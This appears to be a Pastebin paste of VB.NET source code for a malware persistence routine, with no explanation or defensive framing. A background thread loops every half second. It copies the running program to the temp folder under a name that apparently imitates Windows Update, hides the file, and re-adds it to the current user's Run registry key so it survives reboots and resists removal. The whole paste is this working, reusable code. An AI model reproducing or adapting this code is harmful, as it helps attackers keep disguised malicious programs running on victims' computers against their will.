Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim MyPath As String = IO.Path.GetTempPath & "WindowsU.exe"
- Dim MyValue As String = "WindowsU"
- Sub xLoad() Handles MyBase.Load
- 'Start Startup & Persistence
- Dim T As New Threading.Thread(AddressOf Persistence)
- T.Start()
- End Sub
- Sub Persistence()
- While True
- If Not CheckKey() Then AddKey(MyValue, MyPath)
- Threading.Thread.Sleep(500)
- End While
- End Sub
- Private Function CheckKey() As Boolean
- Dim R As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
- Dim V() As String = R.GetValueNames()
- Dim O As String = vbNullString
- R.Close()
- For Each Str As String In V
- O = O & Str & "|"
- Next
- If O.Contains(MyValue) Then Return True Else Return False
- End Function
- Private Sub AddKey(ByVal Value As String, ByVal fPath As String)
- Try
- If Not IO.File.Exists(fPath) Then IO.File.WriteAllBytes(fPath, IO.File.ReadAllBytes(Application.ExecutablePath))
- IO.File.SetAttributes(fPath, 2)
- Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).SetValue(MyValue, MyPath)
- Catch
- End Try
- End Sub
Add Comment
Please, Sign In to add comment